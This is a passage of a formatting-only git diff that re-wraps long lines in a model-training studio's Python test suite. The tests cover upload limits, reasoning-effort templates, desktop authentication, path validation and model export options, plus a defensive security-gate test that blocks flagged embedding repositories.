monkeypatch): def test_dataset_upload_under_configured_cap_succeeds(isolate_upload_dir): upload = FakeUploadFile("sample.csv", [b"a,b\n1,2\n"]) response = asyncio.run( - datasets_route.upload_dataset(cast(UploadFile, upload), current_subject = "test-user") + datasets_route.upload_dataset( + cast(UploadFile, upload), current_subject = "test-user" + ) ) stored = Path(response.stored_path) assert response.filename == "sample.csv" @@ -56,7 +58,9 @@ def test_dataset_upload_over_configured_cap_removes_partial_file(isolate_upload_ ) with pytest.raises(HTTPException) as exc: asyncio.run( - datasets_route.upload_dataset(cast(UploadFile, upload), current_subject = "test-user") + datasets_route.upload_dataset( + cast(UploadFile, upload), current_subject = "test-user" + ) ) assert exc.value.status_code == 413 assert "Maximum is 1MB" in exc.value.detail diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py index 0d60d9b5ec..35cad2d553 100644 --- a/studio/backend/tests/test_deepseek_v4_thinking_effort.py +++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py @@ -108,7 +108,9 @@ def test_synthetic_high_scoped_to_deepseek_v4(): """The same ['max']-only template under a non-deepseek id keeps ['max'].""" from core.inference.llama_cpp import detect_reasoning_flags - flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF") + flags = detect_reasoning_flags( + NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF" + ) assert flags["reasoning_effort_levels"] == ["max"] @@ -145,7 +147,9 @@ def test_none_state_renders_non_thinking(): """UI 'None' -> enable_thinking=false -> closed , no preamble.""" kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None) assert kwargs == {"enable_thinking": False} - out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + out = _render( + DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs + ) assert out.endswith("") assert "Absolute maximum" not in out @@ -154,7 +158,9 @@ def test_high_state_renders_plain_thinking(): """UI 'High' -> et=true, effort=high -> open , no max preamble.""" kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high") assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"} - out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + out = _render( + DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs + ) assert out.endswith("") assert "Absolute maximum" not in out @@ -163,7 +169,9 @@ def test_max_state_injects_max_preamble(): """UI 'Max' -> et=true, effort=max -> open plus the max preamble.""" kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max") assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"} - out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + out = _render( + DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs + ) assert out.endswith("") assert "Absolute maximum" in out @@ -173,6 +181,8 @@ def test_high_effort_alone_enables_thinking(): gets thinking on, so the newly exposed High mode renders correctly.""" kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high") assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"} - out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs) + out = _render( + DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs + ) assert out.endswith("") assert "Absolute maximum" not in out diff --git a/studio/backend/tests/test_default_output_dir_name.py b/studio/backend/tests/test_default_output_dir_name.py index d8a7f5ae21..c8e599c303 100644 --- a/studio/backend/tests/test_default_output_dir_name.py +++ b/studio/backend/tests/test_default_output_dir_name.py @@ -34,7 +34,10 @@ def test_repo_id_keeps_namespace(): def test_local_paths_collapse_to_basename(): sr = _load_storage_roots() - assert sr.default_run_dir_name(r"G:\modelsAI\gguf\test\gemma-4-12B-it") == "gemma-4-12B-it" + assert ( + sr.default_run_dir_name(r"G:\modelsAI\gguf\test\gemma-4-12B-it") + == "gemma-4-12B-it" + ) assert sr.default_run_dir_name("/data/models/gemma-3-4b") == "gemma-3-4b" assert sr.default_run_dir_name("~/models/gemma-3-4b") == "gemma-3-4b" assert sr.default_run_dir_name("C:/Users/me/models/gemma-3-4b") == "gemma-3-4b" diff --git a/studio/backend/tests/test_desktop_auth.py b/studio/backend/tests/test_desktop_auth.py index 591d44b736..b9e6a8f60d 100644 --- a/studio/backend/tests/test_desktop_auth.py +++ b/studio/backend/tests/test_desktop_auth.py @@ -51,8 +51,12 @@ def auth_client(): def data_recipe_jobs_module(): - route_path = Path(__file__).resolve().parents[1] / "routes" / "data_recipe" / "jobs.py" - spec = importlib.util.spec_from_file_location("_desktop_data_recipe_jobs", route_path) + route_path = ( + Path(__file__).resolve().parents[1] / "routes" / "data_recipe" / "jobs.py" + ) + spec = importlib.util.spec_from_file_location( + "_desktop_data_recipe_jobs", route_path + ) jobs_route = importlib.util.module_from_spec(spec) assert spec.loader is not None spec.loader.exec_module(jobs_route) @@ -261,7 +265,9 @@ def test_consume_refresh_token_concurrent_only_one_succeeds(tmp_path, monkeypatc results = list(pool.map(attempt, range(workers))) successes = [r for r in results if r is not None] - assert len(successes) == 1, f"expected exactly one consumer to win, got {len(successes)}" + assert ( + len(successes) == 1 + ), f"expected exactly one consumer to win, got {len(successes)}" assert successes[0] == (storage.DEFAULT_ADMIN_USERNAME, False) @@ -279,7 +285,9 @@ def test_desktop_session_uses_real_admin_identity_for_api_keys(): seed_user(must_change_password = True) raw = storage.create_desktop_secret() client = auth_client() - token = client.post("/api/auth/desktop-login", json = {"secret": raw}).json()["access_token"] + token = client.post("/api/auth/desktop-login", json = {"secret": raw}).json()[ + "access_token" + ] response = client.post( "/api/auth/api-keys", @@ -313,7 +321,9 @@ def test_local_recipe_token_authenticates_as_admin_for_desktop_user(loaded_local scheme = "Bearer", credentials = local_token, ) - assert asyncio.run(get_current_subject(credentials)) == storage.DEFAULT_ADMIN_USERNAME + assert ( + asyncio.run(get_current_subject(credentials)) == storage.DEFAULT_ADMIN_USERNAME + ) def test_local_recipe_token_authenticates_as_admin_for_web_user(loaded_local_model): @@ -333,7 +343,9 @@ def test_local_recipe_token_authenticates_as_admin_for_web_user(loaded_local_mod scheme = "Bearer", credentials = local_token, ) - assert asyncio.run(get_current_subject(credentials)) == storage.DEFAULT_ADMIN_USERNAME + assert ( + asyncio.run(get_current_subject(credentials)) == storage.DEFAULT_ADMIN_USERNAME + ) def test_desktop_login_rejects_invalid_secret(): @@ -537,9 +549,12 @@ if result.exit_code != 0: """ ).fetchone() app_secrets = { - row["key"]: row["value"] for row in conn.execute("SELECT key, value FROM app_secrets") + row["key"]: row["value"] + for row in conn.execute("SELECT key, value FROM app_secrets") + } + refresh_columns = { + row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)") } - refresh_columns = {row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)")} finally: conn.close() @@ -631,7 +646,9 @@ def test_update_password_clears_desktop_secret(): raw = storage.create_desktop_secret() assert storage.validate_desktop_secret(raw) == storage.DEFAULT_ADMIN_USERNAME - changed = storage.update_password(storage.DEFAULT_ADMIN_USERNAME, "new-admin-password") + changed = storage.update_password( + storage.DEFAULT_ADMIN_USERNAME, "new-admin-password" + ) assert changed is True assert storage.validate_desktop_secret(raw) is None @@ -647,7 +664,11 @@ def test_update_password_on_unknown_user_leaves_desktop_secret_intact(): def test_desktop_auth_provision_has_bounded_timeout(): rs_path = ( - Path(__file__).resolve().parents[3] / "studio" / "src-tauri" / "src" / "desktop_auth.rs" + Path(__file__).resolve().parents[3] + / "studio" + / "src-tauri" + / "src" + / "desktop_auth.rs" ) src = rs_path.read_text() start = src.index("async fn provision_desktop_auth(") diff --git a/studio/backend/tests/test_detect_mmproj_file.py b/studio/backend/tests/test_detect_mmproj_file.py index 64dd8ebd90..1449c4af45 100644 --- a/studio/backend/tests/test_detect_mmproj_file.py +++ b/studio/backend/tests/test_detect_mmproj_file.py @@ -132,7 +132,10 @@ def test_family_token_mistral_does_not_match_ministral(): assert _detect_family_token("Ministral-3-8B-Instruct-2512-BF16.gguf") == "ministral" assert _detect_family_token("Mistral-7B-Instruct-v0.3.gguf") == "mistral" assert _detect_family_token("Magistral-Small-2506-BF16.gguf") == "magistral" - assert _detect_family_token("Devstral-Small-2-24B-Instruct-2512-BF16.gguf") == "devstral" + assert ( + _detect_family_token("Devstral-Small-2-24B-Instruct-2512-BF16.gguf") + == "devstral" + ) def test_family_token_picks_leftmost_when_multiple_present(): @@ -157,7 +160,9 @@ def test_family_token_new_families_recognised(): def test_blocks_cross_family_for_new_token_pair(tmp_path: Path): """Nemotron weight + lone Gemma projector returns None.""" - model = _touch(tmp_path / "NVIDIA-Nemotron-3-Nano-Omni-30B-A3B-Reasoning-MXFP4_MOE.gguf") + model = _touch( + tmp_path / "NVIDIA-Nemotron-3-Nano-Omni-30B-A3B-Reasoning-MXFP4_MOE.gguf" + ) _touch(tmp_path / "gemma-4-26B-A4B-it.mmproj-q8_0.gguf") assert detect_mmproj_file(str(model)) is None diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py index b3fa98b604..3133b88fdb 100644 --- a/studio/backend/tests/test_embedding_model_security_gate.py +++ b/studio/backend/tests/test_embedding_model_security_gate.py @@ -45,13 +45,21 @@ def client(monkeypatch): monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ()) saved: dict = {} - monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr( + settings, "default_embedding_model", lambda: "unsloth/default-embed" + ) monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) - monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr( + settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v) + ) monkeypatch.setattr(settings, "_llama_backend_active", lambda: False) monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) - monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) - monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + monkeypatch.setattr( + settings, "get_rag_embedding_model", lambda: saved.get("model", "") + ) + monkeypatch.setattr( + settings, "get_stored_embedding_model", lambda: saved.get("model") + ) monkeypatch.setattr( settings, "effective_gguf_repo", @@ -73,7 +81,8 @@ def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch): c, saved = client monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) r = c.put( - "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True} + "/embedding-model", + json = {"embedding_model": "attacker/malicious-embed", "force": True}, ) # 403, not the forceable 409, so the client does not offer "save anyway". assert r.status_code == 403 @@ -93,16 +102,22 @@ def test_hard_block_uses_non_forceable_status(client, monkeypatch): # (403) so the frontend never routes it into the "save anyway" force flow. c, _saved = client monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True)) - blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"}) + blocked = c.put( + "/embedding-model", json = {"embedding_model": "attacker/malicious-embed"} + ) assert blocked.status_code == 403 # A verification failure (not-an-embedding-model) stays forceable at 409. monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False)) - monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False) + monkeypatch.setattr( + settings, "is_embedding_model", lambda *a, **k: False, raising = False + ) import utils.models as _models monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False) - unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"}) + unverified = c.put( + "/embedding-model", json = {"embedding_model": "acme/not-an-embedder"} + ) assert unverified.status_code == 409 @@ -110,13 +125,21 @@ def test_llama_backend_skips_the_st_pickle_scan(monkeypatch): # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here. saved: dict = {} - monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr( + settings, "default_embedding_model", lambda: "unsloth/default-embed" + ) monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) - monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr( + settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v) + ) monkeypatch.setattr(settings, "_llama_backend_active", lambda: True) monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) - monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) - monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + monkeypatch.setattr( + settings, "get_rag_embedding_model", lambda: saved.get("model", "") + ) + monkeypatch.setattr( + settings, "get_stored_embedding_model", lambda: saved.get("model") + ) # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped. called = {"scanned": False} mod = _types.ModuleType("utils.security") @@ -157,14 +180,22 @@ def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch): monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ()) saved: dict = {} - monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr( + settings, "default_embedding_model", lambda: "unsloth/default-embed" + ) monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) - monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr( + settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v) + ) # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored. monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) - monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) - monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + monkeypatch.setattr( + settings, "get_rag_embedding_model", lambda: saved.get("model", "") + ) + monkeypatch.setattr( + settings, "get_stored_embedding_model", lambda: saved.get("model") + ) called = {"scanned": False} mod = _types.ModuleType("utils.security") @@ -186,7 +217,9 @@ def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch): json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True}, ) assert r.status_code == 200 - assert called["scanned"] is False # the ST pickle scan never ran on the llama fallback + assert ( + called["scanned"] is False + ) # the ST pickle scan never ran on the llama fallback assert saved.get("model") == "attacker/flagged-st-clean-gguf" @@ -206,13 +239,17 @@ def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch): # A cached ST backend reports False even when the resolver now picks llama, so its # pickle stays gated (the cached backend, not the resolver, is what actually embeds). monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server") - monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend()) + monkeypatch.setattr( + embeddings, "_backend", embeddings._SentenceTransformersBackend() + ) assert embeddings.active_backend_is_llama() is False # No cached backend -> the resolver decides, unchanged from before. monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers") monkeypatch.setattr(embeddings, "_backend", None) - assert embeddings.active_backend_is_llama() is False # auto -> sentence-transformers + assert ( + embeddings.active_backend_is_llama() is False + ) # auto -> sentence-transformers monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server") assert embeddings.active_backend_is_llama() is True # auto -> llama-server @@ -226,13 +263,21 @@ def test_settings_scan_scopes_module_subdirs(monkeypatch): # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a # pickle directly under one blocks; assert those subdirs reach evaluate_file_security. saved: dict = {} - monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed") + monkeypatch.setattr( + settings, "default_embedding_model", lambda: "unsloth/default-embed" + ) monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v) - monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v)) + monkeypatch.setattr( + settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v) + ) monkeypatch.setattr(settings, "_llama_backend_active", lambda: False) monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False) - monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", "")) - monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model")) + monkeypatch.setattr( + settings, "get_rag_embedding_model", lambda: saved.get("model", "") + ) + monkeypatch.setattr( + settings, "get_stored_embedding_model", lambda: saved.get("model") + ) import core.rag.embeddings as embeddings @@ -255,7 +300,8 @@ def test_settings_scan_scopes_module_subdirs(monkeypatch): app.dependency_overrides[settings.get_current_subject] = lambda: "admin" c = TestClient(app, raise_server_exceptions = False) r = c.put( - "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True} + "/embedding-model", + json = {"embedding_model": "acme/embed-with-module-dir", "force": True}, ) assert r.status_code == 200 assert "0_Transformer" in seen["subdirs"] @@ -264,7 +310,9 @@ def test_settings_scan_scopes_module_subdirs(monkeypatch): def test_clean_repo_saves_under_force(client, monkeypatch): c, saved = client monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False)) - r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True}) + r = c.put( + "/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True} + ) assert r.status_code == 200 assert saved.get("model") == "acme/clean-embed" assert r.json() == { diff --git a/studio/backend/tests/test_embedding_model_settings.py b/studio/backend/tests/test_embedding_model_settings.py index bcf3ded71c..b34bdc4d5c 100644 --- a/studio/backend/tests/test_embedding_model_settings.py +++ b/studio/backend/tests/test_embedding_model_settings.py @@ -29,10 +29,14 @@ def settings_store(monkeypatch): store: dict = {} monkeypatch.setattr( - studio_db, "get_app_setting", lambda key, fallback = None: store.get(key, fallback) + studio_db, + "get_app_setting", + lambda key, fallback = None: store.get(key, fallback), ) monkeypatch.setattr( - studio_db, "upsert_app_settings", lambda settings: store.update(settings) or store + studio_db, + "upsert_app_settings", + lambda settings: store.update(settings) or store, ) ems._invalidate_cache() yield store diff --git a/studio/backend/tests/test_export_absolute_paths.py b/studio/backend/tests/test_export_absolute_paths.py index 761ea08e3f..d1a751fa1c 100644 --- a/studio/backend/tests/test_export_absolute_paths.py +++ b/studio/backend/tests/test_export_absolute_paths.py @@ -155,7 +155,9 @@ def _install_lightweight_backend_stubs(monkeypatch): monkeypatch.setitem(sys.modules, "utils.models", utils_models) utils_model_config = types.ModuleType("utils.models.model_config") - utils_model_config._pick_best_gguf = lambda variants: variants[0] if variants else None + utils_model_config._pick_best_gguf = ( + lambda variants: variants[0] if variants else None + ) utils_model_config._extract_quant_label = lambda value: value utils_model_config._is_big_endian_gguf_path = lambda *args, **kwargs: False utils_model_config.is_audio_input_type = lambda *args, **kwargs: None @@ -271,7 +273,9 @@ def _install_export_backend_stubs(monkeypatch): def test_gguf_export_cleans_temp_dir_when_post_processing_fails(tmp_path, monkeypatch): _install_export_backend_stubs(monkeypatch) - export_mod = _load_module("test_core_export_backend", "core/export/export.py", monkeypatch) + export_mod = _load_module( + "test_core_export_backend", "core/export/export.py", monkeypatch + ) cwd = tmp_path / "cwd" save_dir = tmp_path / "export" @@ -313,7 +317,9 @@ def test_save_directory_validator_rejects_windows_parent_segments(monkeypatch): def test_save_directory_validator_allows_deep_absolute_paths(monkeypatch, tmp_path): _install_pydantic_stub(monkeypatch) - export_models = _load_module("test_models_export_deep_path", "models/export.py", monkeypatch) + export_models = _load_module( + "test_models_export_deep_path", "models/export.py", monkeypatch + ) deep_path = tmp_path for index in range(40): @@ -334,7 +340,9 @@ def test_save_directory_validator_rejects_long_path_component(monkeypatch, tmp_p export_models._validate_save_directory(str(tmp_path / ("a" * 256))) -def test_export_write_dir_accepts_external_absolute_but_read_dir_rejects(tmp_path, monkeypatch): +def test_export_write_dir_accepts_external_absolute_but_read_dir_rejects( + tmp_path, monkeypatch +): storage_roots = _load_module( "test_storage_roots_accept_external", "utils/paths/storage_roots.py", @@ -368,7 +376,10 @@ def test_export_write_dir_accepts_expanded_home_path(tmp_path, monkeypatch): else: monkeypatch.setenv("HOME", str(home)) - assert storage_roots.resolve_export_write_dir("~/exports/model") == home / "exports" / "model" + assert ( + storage_roots.resolve_export_write_dir("~/exports/model") + == home / "exports" / "model" + ) def test_resolve_export_write_dir_rejects_backslash_parent_segment(): @@ -381,7 +392,9 @@ def test_resolve_export_write_dir_rejects_backslash_parent_segment(): storage_roots.resolve_export_write_dir(r"exports\..\outside") -def test_export_write_dir_handles_non_native_windows_absolute_as_relative(tmp_path, monkeypatch): +def test_export_write_dir_handles_non_native_windows_absolute_as_relative( + tmp_path, monkeypatch +): storage_roots = _load_module( "test_storage_roots_non_native_windows_path", "utils/paths/storage_roots.py", diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py index e04417f933..499db6c593 100644 --- a/studio/backend/tests/test_export_capability.py +++ b/studio/backend/tests/test_export_capability.py @@ -26,7 +26,9 @@ def _src(rel): def _func_src(rel, name): src = _src(rel) node = next( - n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + n + for n in ast.walk(ast.parse(src)) + if isinstance(n, ast.FunctionDef) and n.name == name ) return ast.get_source_segment(src, node) @@ -153,4 +155,8 @@ def test_export_methods_check_runtime(): def test_export_capability_reads_no_torch_helper(): cap = _func_src("utils/hardware/hardware.py", "export_capability") - assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap + assert ( + "_has_torch()" in cap + and "DeviceType.MLX" in cap + and "is_apple_silicon()" in cap + ) diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py index f499390add..125b451a64 100644 --- a/studio/backend/tests/test_export_imatrix_compressed.py +++ b/studio/backend/tests/test_export_imatrix_compressed.py @@ -25,7 +25,9 @@ def _src(rel): def _func_src(rel, name): src = _src(rel) node = next( - n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + n + for n in ast.walk(ast.parse(src)) + if isinstance(n, ast.FunctionDef) and n.name == name ) return ast.get_source_segment(src, node) @@ -41,8 +43,17 @@ def test_gguf_request_imatrix_defaults_and_set(): def test_merged_request_accepts_compressed_formats(): - for fmt in ("16-bit (FP16)", "FP8 (compressed-tensors)", "NVFP4 (compressed-tensors)"): - assert ExportMergedModelRequest(save_directory = "/tmp/x", format_type = fmt).format_type == fmt + for fmt in ( + "16-bit (FP16)", + "FP8 (compressed-tensors)", + "NVFP4 (compressed-tensors)", + ): + assert ( + ExportMergedModelRequest( + save_directory = "/tmp/x", format_type = fmt + ).format_type + == fmt + ) def test_merged_request_rejects_unknown_format(): @@ -57,7 +68,10 @@ def test_export_gguf_threads_imatrix_to_save_and_push(): # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw. g = _func_src("core/export/export.py", "export_gguf") assert g.count("**imatrix_kw") >= 2 - assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g + assert ( + 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' + in g + ) # Unconditional pass-through (the old wiring) must be gone. assert "imatrix_file = imatrix_file" not in g @@ -99,7 +113,9 @@ def test_orchestrator_and_worker_pass_imatrix(): def test_route_resolves_imatrix_file(): - assert "request.imatrix_path or (True if request.imatrix else None)" in _src("routes/export.py") + assert "request.imatrix_path or (True if request.imatrix else None)" in _src( + "routes/export.py" + ) def test_export_merged_maps_compressed_to_save_method(): @@ -110,7 +126,10 @@ def test_export_merged_maps_compressed_to_save_method(): def test_compressed_hub_push_uploads_local_dir_without_recompressing(): # A compressed / torchao Hub push must upload the built output_path, not re-quantize. m = _func_src("core/export/export.py", "export_merged_model") - assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m + assert ( + "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" + in m + ) assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m @@ -154,7 +173,9 @@ def test_export_merged_relaxes_is_peft_guard(): def test_unsloth_save_has_torchao_registry_and_path(): # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth. - save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8") + save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text( + encoding = "utf-8" + ) assert "def _normalize_torchao_method" in save_py assert "def _unsloth_save_torchao" in save_py assert "TORCHAO_EXPORT_SCHEMES = {" in save_py @@ -167,7 +188,9 @@ def test_unsloth_save_has_torchao_registry_and_path(): def test_gguf_request_accepts_list_of_quants(): - r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"]) + r = ExportGGUFRequest( + save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"] + ) assert r.quantization_method == ["Q4_K_M", "Q8_0"] r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M") assert r2.quantization_method == "Q4_K_M" @@ -187,7 +210,9 @@ def test_lora_request_has_gguf_fields(): r = ExportLoRAAdapterRequest(save_directory = "/tmp/x") assert r.gguf is False and r.gguf_outtype == "q8_0" - r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0") + r2 = ExportLoRAAdapterRequest( + save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0" + ) assert r2.gguf is True and r2.gguf_outtype == "q8_0" @@ -222,7 +247,16 @@ def test_route_passes_lora_gguf(): def test_merged_request_accepts_compressed_method(): # Defaults to None; any scheme alias is accepted (validation happens in the backend registry). assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None - for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"): + for alias in ( + "fp8", + "fp8_static", + "w8a8", + "w8a16", + "w4a16", + "mxfp4", + "mxfp8", + "nvfp4", + ): r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) assert r.compressed_method == alias @@ -232,14 +266,18 @@ def test_export_merged_resolves_alias_via_registry(): m = _func_src("core/export/export.py", "export_merged_model") assert "compressed_method" in m assert "_normalize_compressed_method(compressed_alias)" in m - assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m + assert ( + "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m + ) assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m def test_orchestrator_and_worker_pass_compressed_method(): o = _func_src("core/export/orchestrator.py", "export_merged_model") assert "compressed_method" in o and '"compressed_method": compressed_method' in o - assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py") + assert 'compressed_method = cmd.get("compressed_method")' in _src( + "core/export/worker.py" + ) def test_route_passes_compressed_method(): diff --git a/studio/backend/tests/test_export_size_estimate.py b/studio/backend/tests/test_export_size_estimate.py index 6976187d83..0061fb787c 100644 --- a/studio/backend/tests/test_export_size_estimate.py +++ b/studio/backend/tests/test_export_size_estimate.py @@ -42,7 +42,11 @@ class TestExportSizeEndpoint(unittest.TestCase): def _call(self, model: str = "unsloth/Qwen3.6-35B-A3B"): with ( patch.object(self.models_route, "is_local_path", return_value = False), - patch.object(self.models_route, "resolve_cached_repo_id_case", side_effect = lambda m: m), + patch.object( + self.models_route, + "resolve_cached_repo_id_case", + side_effect = lambda m: m, + ), ): return asyncio.run( self.models_route.get_export_size( @@ -125,7 +129,11 @@ class TestExportSizeEndpoint(unittest.TestCase): def test_token_is_forwarded_to_sizer(self): with ( patch.object(self.models_route, "is_local_path", return_value = False), - patch.object(self.models_route, "resolve_cached_repo_id_case", side_effect = lambda m: m), + patch.object( + self.models_route, + "resolve_cached_repo_id_case", + side_effect = lambda m: m, + ), patch( "utils.hardware.hardware.estimate_fp16_model_size_bytes", return_value = (_QWEN35_FP16_BYTES, "safetensors"), @@ -144,8 +152,12 @@ class TestExportSizeEndpoint(unittest.TestCase): # Unsafe local paths must not be scanned -> unavailable. with ( patch.object(self.models_route, "is_local_path", return_value = True), - patch.object(self.models_route, "_is_sizable_local_path", return_value = False), - patch("utils.hardware.hardware.estimate_fp16_model_size_bytes") as mock_sizer, + patch.object( + self.models_route, "_is_sizable_local_path", return_value = False + ), + patch( + "utils.hardware.hardware.estimate_fp16_model_size_bytes" + ) as mock_sizer, ): resp = asyncio.run( self.models_route.get_export_size( @@ -159,7 +171,9 @@ class TestExportSizeEndpoint(unittest.TestCase): def test_sizable_local_path_is_sized(self): with ( patch.object(self.models_route, "is_local_path", return_value = True), - patch.object(self.models_route, "_is_sizable_local_path", return_value = True), + patch.object( + self.models_route, "_is_sizable_local_path", return_value = True + ), patch( "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate", side_effect = lambda m, **_kw: m, @@ -186,13 +200,17 @@ class TestExportSizeEndpoint(unittest.TestCase): with ( patch.object(self.models_route, "is_local_path", return_value = True), patch.object( - self.models_route, "_is_sizable_local_path", side_effect = lambda p: p == adapter + self.models_route, + "_is_sizable_local_path", + side_effect = lambda p: p == adapter, ), patch( "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate", return_value = "/", ), - patch("utils.hardware.hardware.estimate_fp16_model_size_bytes") as mock_sizer, + patch( + "utils.hardware.hardware.estimate_fp16_model_size_bytes" + ) as mock_sizer, ): resp = asyncio.run( self.models_route.get_export_size( diff --git a/studio/backend/tests/test_external_provider_proxy_env.py b/studio/backend/tests/test_external_provider_proxy_env.py 